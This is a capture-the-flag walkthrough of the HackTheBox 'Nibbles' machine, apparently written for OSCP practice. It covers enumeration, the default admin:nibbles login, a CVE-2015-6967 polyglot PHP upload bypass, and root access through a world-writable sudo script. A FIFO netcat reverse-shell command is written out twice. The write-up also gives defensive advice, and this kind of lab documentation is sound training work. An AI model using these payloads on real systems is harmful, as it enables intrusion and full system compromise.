OSCP Prep #4 Nibbles Write-Up

1. Target Overview
Machine Name: Nibbles
Platform: HackTheBox
Operating System: Linux
In this walkthrough, I document my attack path against the Nibbles machine. The goal is to enumerate available services, identify an attack vector, gain initial access, and ultimately escalate privileges to obtain full system compromise.
Tools Used
Rustscan
Used for fast initial port discovery before deeper enumeration.
Nmap
Used indirectly through Rustscan to identify services and versions.
FFUF
Used for directory brute forcing to discover hidden web endpoints.
Firefox
Used for manual browsing and inspecting web application source code.
Burp Suite
Used to intercept and modify HTTP requests in order to bypass file upload filtering and craft the polyglot web shell.
Netcat
Used to establish both the initial reverse shell and the final root shell.
Python3 (PTY Module)
Used to upgrade the reverse shell into a fully interactive terminal.
2. Enumeration
Nmap Scan
As always, I began the engagement with a port scan to identify exposed services on the target machine.
rustscan -a 10.129.4.207 -b 7000
The scan revealed only two open ports:
From this scan I learned:
Port 22 (SSH) is open and running OpenSSH.
Port 80 (HTTP) is running an Apache 2.4.18 web server.
This gives the machine a very small attack surface, which simplifies the initial enumeration strategy.
Because port 80 is hosting a web server, the most logical next step is to investigate the web application for potential vulnerabilities such as:
hidden directories
exposed files
login panels
CMS platforms
file upload functionality
Although SSH is available, attempting to brute-force it would be inefficient and noisy without valid usernames or password hints. Therefore, I prioritized enumerating the web server on port 80 as the primary attack vector.
Web Enumeration
To begin enumerating the web server, I started a directory brute force scan using ffuf while simultaneously browsing the application manually.
ffuf -u http://10.129.4.207/FUZZ -w /usr/share/wordlists/elite.txt
Running automated directory discovery in the background while manually inspecting the site is a useful workflow because it allows hidden directories to be discovered while I analyze the application’s visible behavior.
Inspecting the Web Application
Navigating to the site in the browser revealed a very minimal page.
The page simply displayed:
There appeared to be no visible functionality, links, or interactive components.
However, viewing the page source revealed something more interesting.
Inside the HTML source was a comment referencing a directory called /nibbleblog/.
Even though the comment claims that nothing interesting exists there, comments like this often reveal hidden application paths and are a strong indicator that a web application or CMS may be located in that directory.
This immediately became the next target for investigation.
Discovering the Blog Application
Browsing to the discovered path revealed a blog-style website.
The page appeared to be a blog that was likely still under development. The site contained several typical CMS elements including:
Categories
Pages
Latest Posts
Navigation links
At the bottom of the page was an important piece of information:
Powered by Nibbleblog
This revealed that the site is running the Nibbleblog CMS.
Identifying the underlying CMS is extremely useful during enumeration because it allows me to begin researching:
known vulnerabilities
default login locations
admin panels
publicly available exploits
At this stage, confirming the application type opened the door for CMS-specific enumeration and vulnerability research.
Enumerating the Blog Directory
I clicked around and all the links seemed to be dead and the page offered no interactivity. Because the application did not expose much functionality through the interface, I performed additional directory enumeration directly against the /nibbleblog path to better understand the full attack surface.
This revealed several interesting directories and files:
These results confirm that the application is a fully deployed CMS installation, exposing several components that could potentially be leveraged during exploitation:
admin / admin.php – likely the administrative login panel
content – often contains uploaded files or CMS data
plugins – plugins frequently introduce vulnerabilities
themes – themes sometimes allow template injection or file upload abuse
install.php – occasionally exploitable if installation protections are incomplete
Another important observation is that several files returned by the scan use the .php extension, indicating that the server-side language powering the application is PHP.
This is useful information because many web exploitation techniques—particularly web shell uploads or remote code execution attacks—often rely on uploading or executing PHP payloads on the target system.
Knowing the application runs PHP helps guide future exploitation attempts, especially when evaluating features such as:
plugin upload functionality
theme editing interfaces
file upload endpoints
Version Disclosure
Before attempting any exploitation, I continued analyzing the discovered endpoints to gather as much information about the application as possible. Identifying the exact version of the CMS can be extremely valuable because it allows me to search for known vulnerabilities or public exploits targeting that specific release.
One of the files discovered during directory enumeration was:
/nibbleblog/README
Navigating to this endpoint revealed the following information:
This file exposed several useful details about the application, most importantly the exact CMS version:
Nibbleblog v4.0.3
Version disclosure like this is extremely valuable during enumeration because it allows me to begin researching known vulnerabilities affecting that specific version of the software.
Investigating the Admin Panel
During directory enumeration, I discovered an administrative endpoint:
/nibbleblog/admin.php
Navigating to this page presented a login form for the Nibbleblog administrative interface.
The page displayed a standard authentication portal requiring a username and password.
At this point, administrative login panels are extremely valuable targets because they often allow:
authentication bypass
default credentials
brute force attacks
functionality that leads to file upload or code execution
Testing for SQL Injection
Before attempting credential attacks, I briefly tested the login form for SQL injection vulnerabilities. However, these attempts were unsuccessful, indicating that the login form was not trivially injectable.
Since this avenue did not immediately yield results, I shifted my focus to checking for default credentials.
Testing Default Credentials
Many CMS platforms ship with default administrator credentials, and developers frequently forget to change them during deployment.
After searching for common credentials used by Nibbleblog, I discovered a commonly documented default credential pair:
admin : nibbles
I attempted to authenticate using these credentials and successfully logged into the administrative dashboard.
Admin Dashboard Access
After authenticating, I gained access to the Nibbleblog administrative control panel, which exposed several management features including:
Publish content
Manage comments
Configure settings
Manage themes
Manage plugins
Gaining administrative access is a critical milestone because CMS admin panels often allow functionality such as:
plugin uploads
theme modifications
file uploads
3. Exploitation
Identifying the Vulnerability
After obtaining administrative access to the Nibbleblog dashboard and identifying the application version as Nibbleblog v4.0.3, I began researching known vulnerabilities affecting this version of the CMS.
This research revealed CVE-2015-6967, an arbitrary file upload vulnerability affecting Nibbleblog versions prior to 4.0.5.
CVE-2015-6967 — Arbitrary File Upload
The vulnerability exists within the My Image plugin included in Nibbleblog. The plugin allows administrators to upload images, but the upload functionality does not properly validate file extensions.
Because of this, an attacker with administrative access can upload a file containing executable code, such as a PHP reverse shell.
Once uploaded, the file is stored inside the following directory:
/content/private/plugins/my_image/
Since the application runs on PHP, uploading a malicious .php file allows the server to execute attacker-controlled code when the file is accessed through the browser.
The attack process therefore becomes straightforward:
Upload a malicious PHP payload
Access the uploaded file through the browser
Execute commands on the server
Because I already had administrative access to the CMS, this vulnerability provided a clear path to remote code execution.
Exploiting the My Image Plugin Upload
Based on the previously identified vulnerability CVE-2015-6967, the goal was to abuse the My Image plugin upload functionality to achieve remote code execution.
Before attempting to upload a malicious payload, I first wanted to understand how the application handles file uploads.
Uploading a Valid Image
When dealing with file upload vulnerabilities, it is often helpful to begin by uploading a legitimate file. This helps identify:
what file types the server accepts
where uploaded files are stored
how the application names uploaded files
Using the My Image plugin, I uploaded a simple image file.
The upload succeeded, and the file appeared in the following directory:
/nibbleblog/content/private/plugins/my_image/
This confirmed that uploaded files were being stored directly inside a web-accessible directory, which is ideal for exploitation.
Attempting to Upload a Web Shell
Next, I attempted to upload a simple PHP web shell.
The payload I used was a minimal command execution shell:
However, attempting to upload the .php file directly failed. This indicated that the application was performing some type of basic file type filtering.
Bypassing the File Upload Filter
To bypass this restriction, I used Burp Suite to intercept the upload request.
Instead of uploading a raw PHP file, I modified the request using a common upload bypass technique.
Step 1 — Use a Valid Image as a Base
I first uploaded the valid image again and intercepted the request in Burp. This allowed me to inspect the multipart form-data upload request.
Step 2 — Preserve Image Magic Bytes
To bypass the file validation, I left the initial portion of the JPEG file data intact so that the file would still appear to be a valid image based on its magic bytes.
Step 3 — Insert the PHP Web Shell
After the initial image header data, I removed the rest of the image content and replaced it with my PHP web shell code.
Step 4 — Change the File Extension
Finally, I modified the filename in the request so the uploaded file would have a .php extension, allowing the server to execute it.
Once the request was sent, the server responded with 200 ok.
indicating that the upload had been accepted.
Achieving Remote Code Execution
After the upload completed successfully, I navigated to the plugin directory in the browser:
The malicious file appeared in the directory listing. Opening the file allowed me to interact with the web shell.
To confirm code execution, I issued the following command using the cmd query parameter:
The server responded with:
This confirmed that remote code execution was successfully achieved and that commands were executing as the nibbler user.
At this point, I had obtained command execution on the target system, which could now be leveraged to establish a more stable reverse shell.
Obtaining a Reverse Shell
After confirming remote code execution through the uploaded web shell, the next step was to establish a more stable shell connection back to my attacking machine.
Earlier, I had verified command execution using:
?cmd=id
To obtain an interactive shell, I reused the same cmd parameter and replaced the command with a Bash reverse shell payload.
Since the command is being passed through a URL query string, it is important that the payload is URL encoded to ensure it is processed correctly by the server.
The request sent through Burp Suite looked like this:
This payload instructs the target system to initiate a reverse connection back to my attacking machine.
Setting Up the Listener
Before sending the request, I set up a Netcat listener to receive the incoming shell.
nc -nvlp 9001
After sending the modified request, the server connected back to my listener and a shell was established.
Running whoami confirmed the context of the shell:
This indicated that I had successfully obtained a shell as the nibbler user on the target system.
4. Privilege Escalation
Step 1 — Upgrading the Shell
After obtaining the reverse shell, the first step in my privilege escalation checklist is always to upgrade the shell to a fully interactive TTY.
Basic reverse shells often lack features such as:
proper terminal control
tab completion
command history
job control
Without upgrading the shell, performing enumeration and privilege escalation becomes significantly more difficult.
To spawn a proper interactive shell, I used Python’s PTY module:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Once the shell was spawned, I suspended the connection using CTRL+Z to return to my attacking machine and adjusted the terminal settings.
stty raw -echo; fg
This restores proper terminal handling and returns control to the upgraded shell.
Next, I set the terminal type so programs would render correctly:
export TERM=xterm
Finally, I ensured the terminal dimensions matched my local terminal:
stty rows 45 cols 141
After completing these steps, the shell behaved like a normal interactive terminal, making further enumeration much easier.
Step 2 — Identify Current User
Next, I confirmed which user the shell was running as.
whoami
Output:
nibbler
Step 3 — Check User Privileges
I then checked the user's UID and group memberships.
id
Output:
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
This confirmed the shell was running as the nibbler user with no elevated privileges.
Step 4 — Check Sudo Permissions
The next step in my enumeration checklist is to determine whether the current user has any sudo privileges.
sudo -l
The output revealed the following configuration:
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
This result immediately stood out.
The nibbler user is allowed to execute a script as root without providing a password.
/home/nibbler/personal/stuff/monitor.sh
Any time a user can run a script as root with NOPASSWD, it becomes a prime candidate for privilege escalation depending on how the script is implemented.
The next step was to inspect this script to determine whether it could be abused to obtain root access.
Abusing monitor.sh
Earlier enumeration revealed that the nibbler user could run the following script as root:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Whenever a script can be executed as root without a password, it immediately becomes a prime candidate for privilege escalation. The next step was to inspect the permissions on the script.
ls -l monitor.sh
Output:
-rwxrwxrwx 1 nibbler nibbler 4096 Mar 13 02:45 monitor.sh
This revealed a critical misconfiguration: the script is world-writable.
Because the nibbler user can modify the script and also execute it with sudo, this allows an attacker to insert malicious code that will execute with root privileges.
Injecting a Reverse Shell
To exploit this, I appended a reverse shell payload directly into the script.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.123 9002 >/tmp/f" >> monitor.sh
A FIFO-based Netcat shell was used here because the default shell environment on the target system is /bin/sh, meaning the usual bash reverse shell would not function correctly.
This payload performs the following steps:
Creates a named pipe in
/tmpUses
/bin/shto execute commandsPipes the output through Netcat back to the attacker
Establishes a fully interactive shell
Starting the Listener
Before executing the script, I started a Netcat listener on my attacking machine.
nc -nvlp 9002
Executing the Script as Root
With the payload appended to the script, I executed it using the previously discovered sudo privilege.
Because the script runs with root privileges, the injected payload also executed as root.
Shortly after running the command, the reverse shell connected back to my listener.
Running whoami confirmed full privilege escalation:
At this point, the machine was fully compromised with root access.
5. Lessons Learned
Default Credentials Remain Dangerous
The initial foothold was obtained by authenticating with the default credentials admin:nibbles. This highlights how frequently systems are deployed with default authentication still enabled, creating an immediate entry point for attackers.
Understanding File Upload Filters Is Critical
The vulnerable My Image plugin attempted to filter uploads by validating that files appeared to be legitimate images. However, this filtering could be bypassed by manipulating the uploaded file so that it satisfied both the image validation logic and the PHP interpreter.
The key attacker takeaway is:
You are not bypassing MIME validation — you are bypassing the parser used by the server.
In other words, the payload must satisfy two interpreters simultaneously:
the image parser used during upload validation
the PHP interpreter when the file is executed
This technique creates what is known as a polyglot file — a file that is valid under multiple parsers. By preserving the image magic bytes while embedding PHP code, the upload filter accepts the file while the web server later executes it as PHP.
Server-Side File Storage Location Matters
Uploaded files were stored inside a web-accessible directory:
/content/private/plugins/my_image/
Because the directory allowed direct web access, uploaded files could be executed directly through the browser, enabling remote code execution.
Shell Payload Compatibility Matters
During privilege escalation, the reverse shell needed to be compatible with the system’s available shell environment. In this case, the default shell was /bin/sh, meaning a typical bash reverse shell would not function properly.
Instead, a FIFO-based Netcat shell compatible with /bin/sh was required. This highlights the importance of understanding the target execution environment when choosing shell payloads.
6. Defensive Insight
Enforce Strict File Upload Validation
Applications should validate uploaded files using multiple layers of verification including:
MIME type validation
file extension filtering
file signature (magic byte) validation
server-side file renaming
storing uploads outside executable directories
Upload functionality should never allow files with executable extensions such as .php to be stored in locations where they can be executed by the web server.
Avoid Dangerous Sudo Misconfigurations
Privilege escalation was possible because the user nibbler was allowed to execute a script as root without a password:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Additionally, the script itself was world-writable, allowing an attacker to inject malicious commands that would execute with root privileges.
Secure configurations should ensure that:
scripts executed with sudo are owned by root
scripts are not writable by non-privileged users
sudo privileges follow the principle of least privilege
Useful Commands
FFUF – Directory Enumeration
Directory brute forcing was used to discover hidden endpoints on the web server. This revealed the /nibbleblog directory and later additional CMS directories that expanded the attack surface.
ffuf -u http://10.129.4.207/FUZZ -w /usr/share/wordlists/elite.txt
Python PTY – Shell Upgrade
Once a shell was obtained, Python’s PTY module was used to spawn a fully interactive bash shell.
python3 -c 'import pty;pty.spawn("/bin/bash")'
The terminal was then stabilized using the following commands.
stty raw -echo; fg
export TERM=xterm
stty rows 45 cols 141
Linux Enumeration Commands
Basic enumeration commands were used to confirm the current user context and identify possible privilege escalation paths.
whoami
id
sudo -l
Privilege Escalation Payload Injection
The world-writable monitor.sh script was exploited by appending a FIFO-based Netcat reverse shell payload.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.123 9002 >/tmp/f" >> monitor.sh






